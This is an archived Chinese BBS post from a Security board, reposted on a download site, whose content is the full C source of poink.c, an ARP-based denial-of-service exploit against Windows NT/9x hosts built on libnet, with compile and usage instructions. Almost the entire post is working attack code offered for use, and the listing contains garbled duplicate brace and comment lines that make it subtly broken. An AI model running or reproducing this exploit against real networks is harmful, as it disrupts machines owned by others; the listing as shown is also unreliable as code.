⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 521.htm

📁 unix高级编程原吗
💻 HTM
字号:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>CTerm非常精华下载</title>
</head>
<body bgcolor="#FFFFFF">
<table border="0" width="100%" cellspacing="0" cellpadding="0" height="577">
<tr><td width="32%" rowspan="3" height="123"><img src="DDl_back.jpg" width="300" height="129" alt="DDl_back.jpg"></td><td width="30%" background="DDl_back2.jpg" height="35"><p align="center"><a href="http://apue.dhs.org"><font face="黑体"><big><big>apue</big></big></font></a></td></tr>
<tr>
<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center">               ● UNIX网络编程                       (BM: clown)                </font></big></big></td></tr>
<tr>
<td width="68%" height="44" bgcolor="#000000"><font face="黑体"><big><big><p   align="center"></big></big><a href="http://cterm.163.net"><img src="banner.gif" width="400" height="60" alt="banner.gif"border="0"></a></font></td>
</tr>
<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="515.htm">上一层</a>][<a href="522.htm">下一篇</a>]
<hr><p align="left"><small>发信人: cloudsky (小四), 信区: Security <br>

标  题: poink.c <br>

发信站: 武汉白云黄鹤站 (Mon Apr 10 11:54:22 2000), 站内信件 <br>

  <br>

/* <br>

 *  $Id$ <br>

 * <br>

 *  poink.c - NT/9x DOS attack <br>

 * <br>

 *  Code: <br>

 *  Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com> <br>

 *                         route|daemon9 <route@infonexus.com> <br>

 *  All rights reserved. <br>

 * <br>

 *  Original Idea: <br>

 *  Joel Jacobson (joel@mobila.cx) <br>

 * <br>

 *  This simple exploit was written as per the specification from Joel <br>

 *  Jacobson's bugtraq post (http://geek-girl.com/bugtraq/1999_1/1299.html). <br>

 * <br>

 *  Needs libnet 0.99. <br>

 *  Currently:  http://lazy.accessus.net/~route/libnet <br>

 *  Soon:       http://www.packetfactory.net/ <br>



 * <br>

 *  gcc poink.c -o poink -lnet <br>

 * <br>

 * Redistribution and use in source and binary forms, with or without <br>

 * modification, are permitted provided that the following conditions <br>

 * are met: <br>

 * 1. Redistributions of source code must retain the above copyright <br>

 *    notice, this list of conditions and the following disclaimer. <br>

 * 2. Redistributions in binary form must reproduce the above copyright <br>

 *    notice, this list of conditions and the following disclaimer in the <br>

 *    documentation and/or other materials provided with the distribution. <br>

 * <br>

 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND <br>

 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE <br>

 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE <br>

 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE <br>

 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL <br>

 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS <br>

 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) <br>

 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT <br>

 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY <br>

 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF <br>



 * SUCH DAMAGE. <br>

 * <br>

 */ <br>

  <br>

#include <libnet.h> <br>

  <br>

u_char enet_src[6] = {0x00, 0x0d, 0x0e, 0x0a, 0x0d, 0x00}; <br>

u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; <br>

  <br>

int send_arp(struct link_int *, u_long, u_char *); <br>

void usage(u_char *); <br>

  <br>

int <br>

main(int argc, char *argv[]) <br>

{ <br>

    int c, amount; <br>

    char errbuf[256]; <br>

    char *device = NULL; <br>

    struct link_int *l; <br>

    u_long ip; <br>

  <br>

    amount = 20; <br>



    while ((c = getopt(argc, argv, "n:i:")) != EOF) <br>

    { <br>

        switch (c) <br>

        { <br>

            case 'i': <br>

                device = optarg; <br>

                break; <br>

            case 'n': <br>

                amount = atoi(optarg); <br>

                break; <br>

            default: <br>

                exit(EXIT_FAILURE); <br>

        } <br>

    } <br>

  <br>

    if (!device) <br>

    { <br>

        usage(argv[0]); <br>

        exit(EXIT_FAILURE); <br>

    } <br>

  <br>

    if (argc <= optind) <br>



    { <br>

        usage(argv[0]); <br>

        exit(EXIT_FAILURE); <br>

    } <br>

    else if ((ip = libnet_name_resolve(argv[optind], 1)) == -1) <br>

    { <br>

        fprintf(stderr, "Cannot resolve IP address\n"); <br>

        exit(EXIT_FAILURE); <br>

    } <br>

  <br>

    l = libnet_open_link_interface(device, errbuf); <br>

    if (!l) <br>

    { <br>

        fprintf(stderr, "libnet_open_link_interface: %s\n", errbuf); <br>

        exit(EXIT_FAILURE); <br>

    } <br>

  <br>

    while (amount--) <br>

    { <br>

        c = send_arp(l, ip, device); <br>

        if (c == -1) <br>

        { <br>

        { <br>

            /* bail on the first error */ <br>

            break; <br>

        } <br>

    } <br>

    printf("\n"); <br>

    return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS); <br>

} <br>

  <br>

  <br>

int <br>

send_arp(struct link_int *l, u_long ip, u_char *device) <br>

{ <br>

    int n; <br>

    u_char *buf; <br>

  <br>

    if (libnet_init_packet(ARP_H + ETH_H, &buf) == -1) <br>

    { <br>

        perror("libnet_init_packet memory:"); <br>

        exit(EXIT_FAILURE); <br>

    } <br>

  <br>

    /* <br>

    /* <br>

     *  Ethernet header <br>

     */ <br>

    libnet_build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf); <br>

  <br>

    /* <br>

     *  ARP header <br>

     */ <br>

    libnet_build_arp(ARPHRD_ETHER, <br>

        ETHERTYPE_IP, <br>

        6, <br>

        4, <br>

        ARPOP_REQUEST, <br>

        enet_src, <br>

        (u_char *)&ip, <br>

        enet_dst, <br>

        (u_char *)&ip, <br>

        NULL, <br>

        0, <br>

        buf + ETH_H); <br>

  <br>

    n = libnet_write_link_layer(l, device, buf, ARP_H + ETH_H); <br>

  <br>



    fprintf(stderr, "."); <br>

  <br>

    libnet_destroy_packet(&buf); <br>

    return (n); <br>

} <br>

  <br>

  <br>

void <br>

usage(u_char *name) <br>

{ <br>

    fprintf(stderr, "%s -i interface [-n amount] ip\n", name); <br>

} <br>

-- <br>

            我问飘逝的风:来迟了? <br>

            风感慨:是的,他们已经宣战。 <br>

            我问苏醒的大地:还有希望么? <br>

            大地揉了揉眼睛:还有,还有无数代的少年。 <br>

            我问长空中的英魂:你们相信? <br>

            英魂带着笑意离去:相信,希望还在。 <br>

</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="515.htm">上一层</a>][<a href="522.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -